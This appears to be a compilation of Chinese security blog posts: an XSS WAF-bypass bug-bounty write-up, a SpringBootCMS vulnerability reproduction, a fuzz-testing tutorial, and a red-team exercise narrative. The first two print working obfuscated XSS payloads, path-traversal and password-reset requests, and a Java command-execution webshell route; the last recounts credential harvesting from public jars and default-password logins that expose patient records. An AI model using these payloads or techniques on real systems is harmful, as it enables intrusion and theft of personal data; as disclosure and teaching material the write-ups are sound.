【BugBounty】记一次XSS绕过
前言 最近一直在看国外的赏金平台,绕waf是真的难受, 记录一下绕过的场景。 初步测试 一开始尝试XSS,发现用户的输入在title中展示,那么一般来说就是看能否闭合,我们从下面图中可以看到,输入尖括号后被转成了实体。 绕过html实体编码 解释一下什么是html实体编码 HTML实体编码,也即HTML中的转义字符。 在 HTML 中,某些字符是预留的,例如在 HTML 中不能使用小于号<和大于号>,这是因为浏览器会误认为它们是标签。 如果希望正确地显示预留字符,我们必须在HTML源代码中使用字符实体(character entities)。 HTML 中的常用字符实体是不间断空格。(注意:实体名称对大小写敏感!) 字符实体类似这样:&entity_name; 或者 &#entity_number;如需显示小于号,我们必须这样写:< 或 < 常见的实体编码: 关于更多的实体可在下面网站查看寻找: https://symbl.cc/cn/unicode/blocks/basic-latin/#subblock-0061继续尝试是发现我们讲html10进制实体编号输入转义会闭合title标签 原本以为事情逐渐简单了起来,结果更大的一个坑在等着我。 WAF层面 原本想着<img/src=1 onerror=alert(1) />直接秒杀 结果来了个waf 。 下一步按照往常一样 fuzz事件,结果全是403,这时候那没办法了那就不能用img标签了 改换其他标签,fuzz以下 发现可用的还不少。 然后使用a标签进行绕过 常用的payload,基于下面payload改就行了 <a href="javascript:alert(1)"/> 原本是一番风顺的 到后面发先还有过滤,真吐了,看图就好 绕过javascript,到这里了可能一部分人觉得已经结束了,但实际上没那么简单 前面其实花的时间并不多主要绕alert的时候。此处我尝试的多种方式包括html实体绕过,基本都不行, 然后就在此处卡了很久,我也想过不使用alert使用prompt这些函数但就是不行,后面发现后面就是不能跟括号和反引号 这时候就在想,还有不能用括号进行弹窗的函数?给我整懵逼了,找了一大圈一个都没找到都需要用括号,alert后不需要括号和反引号的也过不了。 最后在推特上看到了这个最终完成绕过 https://aem1k.com/aurebesh.js/#java本地测试payload <a/href="javascript;{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click<a href=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)" 最终效果
SpringBootCMS漏洞复现分析
SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。 http://www.jrecms.com环境搭建 修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件 运行 src/main/java/com/cms/App.java 漏洞复现分析 未授权任意文件下载 GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://localhost:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close com.cms.controller.common.FileController#download 通过传过来的参数 fileKey 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回 越权修改管理员密码 系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能 POST /admin/admin/reset HTTP/1.1 Host: localhost:8888 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8888/admin/role Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 4 id=1 成功修改了管理员 admin 的密码,修改为 123456 com.cms.controller.admin.AdminController#reset com.cms.filter.PermissionFilter#doFilter 根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。 其他的操作就会有相关的提示 授权任意文件读取 构造链接 http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties com.cms.controller.admin.TemplateController#edit 对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示 授权任意文件修改可 getshell 查找其中不需要授权就可以访问到的路由对应的文件 http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java 添加恶意代码,增加命令执行的路由文件 @RequestMapping("/exec") public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{ // 执行命令并获取输出结果 ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("cmd", "/c", command); Process process = processBuilder.start(); // 读取命令输出的结果 String output = ""; BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = inputReader.readLine()) != null) { output +=line; } response.setHeader("Content",output); } 重启项目后,发送路由信息 com.cms.controller.admin.TemplateController#update 漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行 授权任意文件删除 构造数据包 GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1 Host: localhost:8888 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9 Connection: close com.cms.controller.admin.DatabaseController#delete com.cms.utils.BackupUtils#delete
Fuzz测试:发现软件隐患和漏洞的秘密武器
0x01 什么是模糊测试 模糊测试(Fuzz Testing)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点,以改进软件的稳定性和安全性。 0x02 基本原理和组成 1.基本原理 基本思想 模糊测试的思想是构造所有可能的输入,并将输入传递给被测目标程序,然后监控目标程序在接收输入后是否出现异常情况,以此来发现软件中存在的缺陷和故障。 构造输入 -> 输入 -> 监控状态 -> 判断异常 -> 报告 抓住了大程序开发的痛点,一定程度上提升了安全测试的效率。 基本概念 其中内容加粗体的属于概念。在此我用简单的话语诠释其中的关系。 给一个简单的图阐释关系,可以配合文字理解。 模糊测试通常包括模糊测试实例,而模糊测试实例包括了两个重要元素:数据集合和程序执行路径。 数据集合即输入数据的集合,程序执行路径指的是程序指令序列和对应的内存和寄存器状态。 我们再分开谈谈数据集合和程序执行路径。 数据集合的元素由数据组成,数据包括数据的取值和输入条件(网络输出或窗口输出)。 程序执行路径由执行状态和执行状态的支配关系组成。执行状态包括了二进制指令(比如此时是mov rax,1)和内存与寄存器状态的集合(比如此时rbx = 0, rcx = 1 ……内存中0x404080 = '\x90')。支配关系指的是下一个到哪里,条件判断等等。 套娃结束了,接下来就是程序异常、异常执行路径,等价执行路径,测试用例集合,测试用例序号,异常测试用例,等价测试用例。 程序异常:程序异常是在程序执行过程中出现的不正常行为,通常导致程序崩溃、错误或漏洞暴露。模糊测试的目标之一是发现程序异常。 异常执行路径:异常执行路径是程序在异常情况下的执行路径,它包括了导致异常的条件和操作序列。模糊测试可以通过检测异常执行路径来发现潜在的漏洞。 等价执行路径:等价执行路径是指在不同输入情况下,程序可能会采取相似或等效的执行路径。理解等价执行路径有助于减少测试用例的冗余。 测试用例集合:测试用例集合包含了多个测试用例,每个测试用例都是一个输入数据和对应的测试条件的组合。模糊测试通常会生成大量的测试用例,以检测各种可能的情况。 测试用例序号:测试用例序号是测试用例在测试用例集合中的唯一标识,用于跟踪和管理测试进度和结果。 异常测试用例(Exception Test Case): 异常测试用例是用于测试软件系统如何处理异常情况的测试实例。 这些异常情况可能包括输入无效数据、越界访问、不合法的操作、资源不足等。 目标是验证软件是否能够优雅地处理这些异常,而不会导致崩溃或不正常行为。 例如,一个异常测试用例可能是尝试输入一个非数字字符到一个要求输入数字的字段中,以测试程序是否能够捕获和处理这种非法输入。 等价测试用例(Equivalence Test Case): 等价测试用例是用于测试软件系统在不同输入情况下是否表现相似或等效的测试实例。 这些测试用例通常分为等效类别,每个等效类别代表一组具有相似特征的输入数据。 目标是在每个等效类别中选择一个或多个测试用例,以代表该类别的所有可能输入情况。 通过这种方式,测试用例集合可以更全面地覆盖各种输入情况,而不必测试每个可能的输入。 例如,对于一个登录功能,等价测试用例可以包括一个有效的用户名和密码组合、一个无效的用户名和有效的密码组合,以及一个有效的用户名和无效的密码组合,以代表不同的等效类别。 简单说,测试用例是用于测试软件系统的具体实例,异常测试用例用于验证异常情况的处理,而等价测试用例用于覆盖不同等效类别的输入情况,以确保软件在各种情况下都能正确运行。有效的测试用例设计是软件测试的关键,它有助于发现潜在问题并提高软件的质量。 2.系统组成 模糊测试分为测试数据生成,数据交互与控制,测试结果反馈三个阶段。 测试数据生成->数据交互与控制->测试结果反馈 根据这些过程,对应着模糊测试一般分为三个模块:数据生成模块,环境控制模块和状态监控模块。 模糊测试通常分为三个关键模块,即数据生成模块、环境控制模块和状态监控模块。这些模块在模糊测试中起着不同但关键的作用: 数据生成模块: 用途:数据生成模块的主要目标是生成模糊测试用例,这些测试用例将用作目标程序或系统的输入。这些测试用例通常包括各种异常、不合法或随机的数据,以检测程序在面对不正常输入时的反应。 方法:数据生成模块可以使用多种技术来创建测试用例,包括但不限于以下几种: 随机生成:生成随机数据,包括字符、数字、二进制数据等。 模式匹配:根据已知的数据模式或协议规范生成数据。例如,HTTP请求中的URL、参数和头部可以按照HTTP协议规范生成。 变异:基于已有的有效输入,通过添加、删除或修改数据的方式来生成测试用例,使其变得不正常或异常。 基于语法的生成:使用语法规则来生成数据,确保生成的数据符合语法结构,如JSON、XML等。 环境控制模块: 用途:环境控制模块负责模拟测试环境,包括目标程序的运行环境以及可能的外部条件,如网络、文件系统等。它确保模糊测试过程中的环境是可控制和可复制的。 方法:环境控制模块可以采用以下方法来实现环境模拟和控制: 虚拟化:在虚拟环境中运行目标程序,以隔离测试过程,确保系统稳定性和安全性。 模拟网络环境:模拟不同网络条件,如高延迟、丢包等,以测试程序在不同网络条件下的表现。 文件系统操作:模拟文件操作,包括文件创建、删除、修改等,以测试程序对文件操作的鲁棒性。 资源限制:限制CPU、内存和网络带宽等资源,以模拟资源受限的情况。 状态监控模块: 用途:状态监控模块用于监视目标程序的执行状态和异常情况。它捕获程序的行为,包括崩溃、错误、异常输出等,并将这些信息用于后续的分析和报告。 方法:状态监控模块可以采用以下方法来监控目标程序的状态: 日志记录:记录程序的输出、错误消息和运行时信息,以便后续分析。 异常检测:监测程序是否发生崩溃或异常,例如,通过监视进程是否终止或产生错误代码。 内存分析:检查程序的内存使用情况,以发现内存泄漏或非法内存访问。 性能分析:监控程序的性能指标,如响应时间、CPU利用率等,以评估程序的性能稳定性。 鲁棒性(Robustness)是计算机科学和软件工程领域的一个重要概念,它指的是系统或软件在面对异常或不正常输入、外部条件或行为时能够保持稳定性和可靠性的能力。 值得一提:有关状态监控模块的处理 状态监控模块在捕获异常时需要对测试对象异常的三种情况进行分别处理: 被测试对象内置的异常处理流程捕获的异常:这种异常情况是指目标程序或系统能够识别和捕获异常,并按照其内置的异常处理流程来处理。这些异常通常不会导致程序崩溃,因为它们得到了适当的处理。这类异常情况通常不会揭示漏洞,因为程序已经处理了异常情况。 无法被测试对象内置的异常处理捕获的,但因异常被中断执行的异常:这种异常情况是指目标程序或系统无法正确捕获或处理异常,但异常的出现导致了程序的中断或崩溃。尽管程序崩溃,但这些异常情况通常具有更高的价值,因为它们表明存在漏洞或错误,可能需要进行修复。 无法被测试对象内置的异常处理捕获的,但异常不被中断执行,导致非预期的结果的异常:这种异常情况是指异常没有导致程序的崩溃,但却引发了程序内部的非预期行为或错误结果。这类异常情况同样具有较高的价值,因为它们可能揭示了潜在的漏洞或问题,尤其是在用户体验和系统可靠性方面。 其中,后两种异常情况更有价值,因为它们通常指示了潜在的漏洞或问题,这些问题可能需要开发人员的关注和修复,以提高系统的鲁棒性和稳定性。模糊测试的目标之一就是发现并报告这些异常情况,以帮助改进软件的质量。 0x03 基础方法技术 数据生成方法 1.基本类型数据生成方法 预定义序列: 经验数据:经验数据是基于先前的测试经验或实际使用中的数据样本来定义的。它们通常反映了一组合理的、常见的或已知的输入值。经验数据有助于测试基础功能,确保软件在正常情况下运行。例如,对于一个登录页面,经验数据可能包括一组有效的用户名和密码组合。 特别数据:特别数据是为了测试特定边界条件或较少常见情况而定义的数据。这些数据通常不符合常规输入,但可能会揭示潜在问题。例如,测试一个计算器应用程序时,特别数据可能包括除以零的情况。 随机数序列: 随机数序列是根据随机性生成的一系列数字。它们广泛用于模糊测试,因为它们可以模拟未知或不可预测的输入情况。随机数序列可以包括整数、浮点数或其他数字类型。 随机数生成器可以根据不同的分布(如均匀分布、正态分布等)生成随机数。在模糊测试中,可以指定随机数的范围和分布来控制生成的数据。 小数值覆盖大数值: 这是一种测试策略,其中测试用例倾向于包括较小的数值,以测试系统对较小值的处理。这是因为较小的值可能更容易导致不正常行为,如除以零或下溢。 例如,在测试一个计算器应用程序时,可以生成一系列小于1的随机浮点数来检查除法操作的鲁棒性。 2.复合类型数据生成方法 文件、网络数据包分别按照文件格式网络协议格式将基本类型数据组合成符合类型数据。 文件生成: 对于文本文件,可以创建一个文本文件对象,然后将字符串数据写入文件。在不同的编程语言中,有文件写入和操作的库和函数可供使用。 对于二进制文件,可以使用二进制文件的格式规范来构建文件头和内容部分,然后将它们写入文件。 网络数据包生成: 根据特定的网络协议规范,创建网络数据包对象。这可以包括数据包头和数据包主体。 在各种编程语言中,有库和工具可用于构建和编码网络数据包,如struct模块(Python)、ByteBuffer(Java)等。 XML和JSON生成: 对于XML,可以使用XML解析库或API创建XML文档对象,然后添加元素和属性。 对于JSON,可以创建JSON对象,包括键值对和嵌套的数组和对象。 数据库记录生成: 使用数据库连接库或ORM(对象关系映射)工具创建数据库记录对象。不同的编程语言和数据库系统有不同的方法来操作数据库。 设置记录的字段值,然后执行插入或更新操作。 HTML生成: 创建HTML文档对象,然后使用HTML标签和属性来构建文档。 在许多编程语言中,可以使用字符串拼接或HTML构建库来构建HTML文档。 复杂对象生成: 根据数据结构的定义,构建复杂的数据对象。这可能涉及创建嵌套的数据结构、图形对象等。 使用编程语言的数据结构和面向对象编程的功能来创建对象。 3.多阶段交互类型数据生成方法 当测试对象向外界提供服务的过程包含多次数据交互时,客户端与服务端的数据包必须根据对方的请求与相应进行构造,双方按照协议约定的过程按次序发送数据。多阶段交互类型数据生成方法用于模拟具有多次数据交互的复杂场景,通常在客户端和服务端之间进行数据包的交互。这种方法模拟了真实世界中的数据通信过程,涵盖了多个阶段的数据生成和交互,以测试系统的互操作性和完整性。 简单来说就是通过交互进行数据生成。 以下是多阶段交互类型数据生成方法的一般步骤: 定义交互协议: 首先,需要明确定义客户端和服务端之间的交互协议。这包括请求和响应的消息格式、顺序、字段和协议规范。 生成请求数据: 从客户端的角度开始,生成符合协议规范的请求数据包。这可能包括构建请求头、请求体、参数等信息。 发送请求: 将生成的请求数据发送到服务端,模拟客户端向服务端发出请求。 解析请求: 在服务端接收到请求后,解析请求数据包,检查其有效性和合法性。服务端需要遵循协议规范来处理请求。 生成响应数据: 根据接收到的请求,服务端生成符合协议规范的响应数据包。这包括构建响应头、响应体、状态码等信息。 发送响应: 将生成的响应数据发送回客户端,模拟服务端对客户端的响应。 解析响应: 客户端接收到响应后,解析响应数据包,验证响应是否符合协议规范。 继续交互: 根据协议规范,可能需要进行多轮的数据交互。客户端和服务端依次生成请求和响应,模拟多阶段的交互。 结束交互: 最后,根据测试需求,可以结束交互并生成测试报告,分析交互期间发现的问题和异常。 多阶段交互类型数据生成方法可以帮助测试人员或工具模拟复杂的数据通信场景,以确保系统在实际使用中能够正确处理多个数据交互步骤。这对于测试网络应用程序、通信协议、API等非常重要,因为它可以发现系统中的互操作性问题、数据丢失、顺序错误等潜在问题。 环境控制技术 1.运行环境控制技术 运行环境控制技术在模糊测试中扮演着重要的角色,它涉及到管理和控制模糊测试的执行环境,以确保测试的可控性和可重复性。 简单来说就是构建一个符合测试实际的环,能够控制和维护,并且进行恢复的技术。 构建环境->控制和维护->恢复 以下是关于运行环境控制技术的一些常见内容: 虚拟化和容器化: 使用虚拟机或容器技术可以创建隔离的测试环境,使测试过程不会对实际系统产生影响。 通过虚拟化或容器化,可以轻松创建多个独立的测试环境,每个环境可以运行不同的测试用例。 快照和还原: 创建运行环境的快照,以记录环境的状态和配置。在测试结束后,可以还原环境到快照状态,确保每次测试都从相同的起点开始。 这对于确保可重复性和排查问题非常有用。 资源隔离: 控制测试过程中的资源使用,以避免测试对主机系统的影响。 可以限制CPU、内存、网络带宽等资源的使用,确保测试不会导致系统崩溃或不稳定。 环境变量控制: 通过设置环境变量,可以控制测试过程中使用的配置和参数。这包括路径、文件配置、网络地址等。 确保测试环境与实际环境的配置一致。 随机性控制: 有时模糊测试需要随机生成输入数据,但也可能需要控制随机性,以确保测试可控。 可以使用种子值来控制伪随机数生成器的行为,以在多次测试中生成相同的随机数据。 日志和监控: 记录测试过程中的日志和监控数据,以便后续分析和排查问题。 这包括记录测试用例、异常情况、资源利用率等信息。 恢复机制: 在测试过程中,可能会发生不正常的情况,如崩溃或异常。具备恢复机制可以在测试中自动处理这些问题,使测试能够继续进行。 并发和分布式测试: 在模糊测试中,可能需要同时执行大量测试用例,使用并发和分布式测试可以提高测试效率。 这涉及到控制多个测试实例的协同工作,确保它们不会相互干扰。 运行环境控制技术的目标是确保模糊测试的可控性、可重复性和安全性。通过这些技术,可以更好地管理测试环境,从而更有效地发现潜在的问题和漏洞。 2.程序运行控制技术 程序启动和终止: 控制模糊测试程序的启动和终止,确保它可以在需要时启动,以及在测试结束后正确终止。 暂停和继续: 允许在测试过程中暂停 fuzz 测试程序的执行,以便检查状态、调试问题或进行其他操作。之后可以继续执行测试。 调试和修改: 提供调试功能,允许测试人员在运行时检查程序状态、变量值和执行路径,以排查问题。 在需要时,还可以修改程序的行为,例如修改输入数据、修改配置或注入调试语句。 进程句柄控制: 使用进程句柄,可以监控和控制 fuzz 测试程序的执行。这包括获取进程状态、发送信号、终止进程等。 API接口: 提供各种API接口,以便外部程序与 fuzz 测试程序进行通信和控制。这些接口可以用于启动测试、发送测试用例、检索测试结果等。 3.数据强制输入技术 Fuzz测试的数据强制输入技术是用于将模糊测试生成的测试数据传递给目标程序的方法。这些技术涵盖了多个方面,包括网络数据输入、文件数据输入、用户操作输入以及内存数据修改。 分别用于网络、文件、图形用户界面和内存攻击。 以下是关于这些技术的详细说明: 网络数据输入技术: 在网络数据输入技术中,模糊测试工具通过模拟网络通信方式将生成的测试数据发送给目标程序。这通常涉及以下步骤: 网络形式强制发送:工具使用适当的网络协议连接到目标程序,按照协议规范将测试数据发送给目标。 连接协议:模糊测试工具使用与目标程序通信所需的协议,例如HTTP、FTP、SMTP等。 数据包构造:根据协议规范构造符合格式的数据包,将测试数据包含在数据包中。 这种方法适用于测试网络应用程序、服务器、通信协议等,以验证它们对不规范或恶意输入的鲁棒性。 文件数据输入技术: 文件数据输入技术用于将生成的测试数据传递给目标程序的方式,通常通过文件传递。这包括以下方法: 命令行参数传入:模糊测试工具将测试数据作为命令行参数传递给目标程序。 进程交互机制:工具可以通过与目标程序的进程进行交互,将数据传递给正在运行的程序。 文件读取:测试工具可以创建临时文件,将测试数据写入文件,然后通过文件读取操作将数据提供给目标程序。 这种方法适用于测试本地应用程序、命令行工具等,以验证它们对不同数据源的处理。 用户操作输入技术: 用户操作输入技术模拟用户与目标程序进行交互的方式,包括模拟鼠标、键盘输入和其他用户界面操作。这包括以下方法: 模拟鼠标和键盘输入:工具模拟用户通过键盘输入文本、通过鼠标点击按钮或执行其他用户界面操作,将测试数据输入到目标程序中。 这种方法适用于测试图形用户界面(GUI)应用程序,以验证它们对用户输入的鲁棒性。 内存数据修改技术: 内存数据修改技术允许模糊测试工具直接在目标程序的内存中修改数据,以模拟恶意攻击或异常情况。这包括以下方法: 直接在内存中进行修改:工具通过访问目标程序的内存空间,修改特定的内存位置,注入测试数据或更改程序状态。 这种方法通常用于测试漏洞、缓冲区溢出等安全问题,以评估程序的鲁棒性。 这些数据强制输入技术允许模糊测试工具将测试数据传递给目标程序,以评估程序的鲁棒性和安全性。根据测试目标和应用程序的性质,可以选择适当的技术来进行模糊测试。 状态监控技术 状态监控技术在模糊测试中起着关键作用,它允许测试人员监控目标程序的生命周期、执行状态、异常状态以及输入输出,从而更好地评估程序的鲁棒性和安全性。以下是关于这些监控技术的简要说明: 生命周期监控技术: 生命周期监控技术用于追踪目标程序的整个生命周期,包括启动、执行和终止阶段。 实现方法: 启动和终止:监控程序的启动和终止,可以通过记录程序的启动时间和结束时间来实现。 进程监控:使用操作系统提供的工具或库来监控目标程序的进程,以确保它始终处于活动状态。 日志记录:记录程序的运行日志,包括启动和终止事件,以便进行后续分析。 输入输出监控技术: 输入输出监控技术用于捕获目标程序与外部环境的数据交互,包括输入数据和输出结果。 实现方法: 输入捕获:截获模糊测试工具生成的输入数据,包括网络数据、文件数据、用户操作等。 输出监控:捕获目标程序的输出结果,包括响应数据、日志、错误信息等。 数据流追踪:使用数据流分析工具来追踪输入数据在程序内部的处理过程,以检测数据修改或异常行为。 执行状态监控技术: 执行状态监控技术用于实时监控目标程序的执行状态,以检测异常行为和问题。 实现方法: 异常检测:监控程序的执行过程,检测是否出现异常情况,如崩溃、死锁、超时等。 内存检查:定期检查程序的内存使用情况,以检测内存泄漏或溢出问题。 CPU利用率:监控程序的CPU利用率,以确定是否存在高负载情况。 这些监控技术可以通过使用各种工具和库来实现,具体方法取决于测试环境和测试工具的要求。通过监控目标程序的生命周期、输入输出和执行状态,测试人员可以及时发现异常情况并进行更准确的控制和分析,以提高模糊测试的效率和效果。 0x04 模糊测试优化方法 让我分别解释一下这些方法: 灰盒模糊测试: 灰盒模糊测试是介于白盒(静态分析)和黑盒(仅关注输入输出)之间的一种测试方法。 在灰盒模糊测试中,测试人员或工具通常会逆向工程目标程序,分析其内部结构和逻辑,以更好地理解程序的运行方式。 然后,根据这些了解,有针对性地生成测试用例,限定字段值或者注重测试一些关键路径和敏感函数,以提高发现漏洞的机会。 白盒模糊测试: 白盒模糊测试进一步加强了灰盒测试的概念,引入了符号执行等高级分析技术。 在白盒模糊测试中,测试工具会使用逆向工程技术分析目标程序的源代码、控制流、数据流等内部信息。 这些信息用于构建符号执行模型,以理解程序的执行路径,然后生成测试用例,以测试这些路径。 白盒模糊测试可以更全面地覆盖程序的各种执行路径,从而提高漏洞的发现概率。 基于反馈的模糊测试: 基于反馈的模糊测试方法侧重于收集和分析测试过程中产生的反馈信息,以优化后续测试用例的生成。 在此方法中,测试工具会统计分析模糊测试用例的特征和测试结果的特征。 使用这些信息,测试工具可以动态地调整测试用例生成策略,以生成更有潜力的测试用例,进一步提高发现漏洞的效率。 这种方法通常使用统计方法(如u测试)来分析和调整测试用例的生成,从而实现智能的测试。 这些高级模糊测试方法旨在通过更深入的分析和优化来提高模糊测试的效率和效果。它们通常需要更多的专业知识和复杂的工具支持,但可以在发现漏洞方面取得更好的结果。选择哪种方法通常取决于测试目标、测试环境和可用资源。 0x05 工具推荐 这里有几种与模糊测试相关的工具和技术,包括AFL-Unicorn、Qiling、SlowFuzz、PerfFuzz、以及AFL++的QEMU和Unicorn模式。让我们来看看它们的优点、缺点以及双重作用: AFL-Unicorn:   优点: 允许将American Fuzzy Lop(AFL)与Unicorn引擎结合使用,从而能够对更广泛的目标进行模糊测试。 具有高度可定制性,用户可以为目标二进制文件创建自定义的Unicorn插件。   缺点: 复杂性较高,需要熟悉AFL和Unicorn。 需要较多的配置和调试。 Qiling:   优点: 可以模拟多种操作系统,包括Linux、Windows等,使其具有广泛的应用。 允许用户在用户模式和内核模式下进行模糊测试。   缺点: 需要深入了解操作系统的内部工作原理,以进行高效的模糊测试。 需要额外的配置和学习曲线。 SlowFuzz:   优点: 采用基于符号执行的方法,具有较高的漏洞发现潜力。 能够在更广泛的输入空间中搜索漏洞。   缺点: 符号执行速度较慢,可能需要更多的时间来执行测试。 可能需要更多的计算资源。 PerfFuzz:   优点: 利用性能计数器(Performance Counters)来导向模糊测试,从而提高了测试效率。 可以更快地发现性能敏感漏洞。   缺点: 对于一些非性能相关的漏洞,可能不够敏感。 对于某些平台,可能需要额外的硬件支持。 AFL++的QEMU和Unicorn模式:   优点: 可以使用AFL++与QEMU或Unicorn引擎结合,提供了广泛的目标支持。 AFL++改进了原始AFL的性能和功能,提供了更好的模糊测试体验。   缺点: 需要一定的配置和学习曲线。 在某些情况下,可能需要更多的计算资源。 这些工具和技术各有优点和缺点,选择哪一个取决于具体需求和目标。例如,如果需要测试多个操作系统,Qiling可能是一个不错的选择。如果关注性能敏感漏洞,PerfFuzz可能更合适。另外,一些工具可以结合使用,以充分发挥各自的优势。最终,选择合适的工具取决于您的具体测试场景和资源可用性。 0x06 尾声 阅读到这里我们简单了解了模糊测试(Fuzz Testing)的各个方面,包括其基本概念、方法和相关技术。模糊测试作为一种强大的测试方法,具有广泛的应用领域,可用于发现软件漏洞、提高安全性和质量。 我们深入了解了模糊测试的基本要素,包括测试用例、异常测试用例和等价测试用例,以及数据集合和程序执行路径。这些概念构成了模糊测试的基础。探索了模糊测试的不同阶段,包括测试数据生成、数据交互与控制、测试结果反馈,以及这些阶段的关联模块和技术。这些阶段共同构建了模糊测试的全貌。 此外,我们介绍了一些高级模糊测试技术,如灰盒模糊测试、白盒模糊测试和基于反馈的模糊测试,以及它们的应用和优势。并且最后,推荐了一些相关工具及其优劣。 接下来,让我们把主动权交回你的手里,去探索更广阔的网络安全世界吧!
记一次地市hw:从供应商到目标站再到百万信息泄露
起因:某市hw、给了某医院的资产,根据前期进行的信息收集就开始打,奈何目标单位资产太少,唯有一个IP资产稍微多一点点,登录框就两个,屡次尝试弱口令、未授权等均失败。 事件型-通用性-反编译jar-Naocs-后台-供应商到目标站-批量检测-内网 1.事件型-通用型 尝试互联网获取更多目标资产的信息。fofa搜索IP发现这样一个系统,是通用型的系统(根据指纹和ico自动识别的)、大概100+单位,包括县级、市级等均用此系统。 由于之前有过类似的从供应商一路打到目标站的经历,这次猜测应该也可以 查看网站底部的备案号,发现并不是目标单位的,而是供应商的,于是开始针对供应商进行信息收集 定位到了某家公司,天眼查显示八个备案域名: 直接上enscan收集备案信息,随后根据收集到的所有备案域名,查找真实IP以及端口等 根据获取到的域名,用fofa直接反查IP、子域等等,经过筛选之后,共有八个真实IP 随后就是找端口、找指纹什么的,我喜欢用fofa,现在fofa支持批量搜索100个IP资产的功能,根据系统的ICO识别指纹很快 2.反编译jar 很快根据fofa的ico摸到了nexus系统:一个maven仓库管理器 弱口令:admin/admin、admin/admin123等均失败 弱口令尝试无果后,根据之前的反编译jar的思路,直接点击browse查看maven公开仓库 找项目仓库,发现了不少的jar包 直接下载jar包反编译查看敏感信息,包括spring鉴权口令以及redis口令均可查看 大概几十个jar包,挨个尝试敏感信息获取,将获取到的敏感信息存一个密码本中,留着撞库爆破用很快收集到了mysql用户名口令、oracle用户名口令、Redis信息、nacos口令信息、部分服务的ak/sk接口(比如人脸识别api、语言api等等),但大多都处于内网,一时无法利用。 3.Nacos 继续查看端口结果,发现其中一个IP,开放的端口很大,直到50000以上。其中一个端口48848瞬间引起了我的注意,因为nacos默认端口8848嘛,随后点开提示404(要的就是404),反手在路径处输入nacos,直接跳转到nacos登陆界面 尝试默认口令:nacos/nacos、test/123456、nacos/123456均失败,未授权添加用户以及获取用户名口令均失败、尝试jwt绕过登录等等也都失败…… 用刚刚反编译jar获取到的口令进行尝试,在尝试了几个之后,成功跳转到后台 随即: 有配置就有东西,直接翻找配置文件,找敏感信息、同样发现了redis、MySQL等连接信息、还有短信云服务的ak/sk、这些AK/SK大多都是可接入存储桶什么的、但是没东西,也没有云主机…… 4.通用型口令进后台 从nacos系统获取到的敏感信息继续添加到密码本中,继续找别的端口,发现了某端口下开放着和目标站点一模一样的系统界面,利用收集到的口令(密码本)尝试进行登陆供应商的系统: 尝试了几个之后。。成功以收集到的强口令登陆该系统 在某档案管理处发现4w+个人信息(身份证、手机、姓名、地址、病历等等) 在系统用户中找到3K+个人信息 翻找系统用户列表还发现系统用户还存在一个manager用户、但是默认管理员admin账户未找到,怀疑是系统开发商留下的默认用户admin,密码稍微有点复杂,大小写字母+数字+特殊符号组合。尝试利用该口令登陆该IP资产下的其它相同系统,均登录成功分别为1w+、14w+、5w+、24w+等众多敏感信息,均为不同的医院 根据每个系统的特点以及信息数量可以得到,系统存在开发商管理员用户名:admin和manager,且口令为开发商初始默认口令 5.从供应商到目标站 根据前期收集到的信息,直接以初始口令登录此次hw目标站点成功打入后台,先是1K+信息 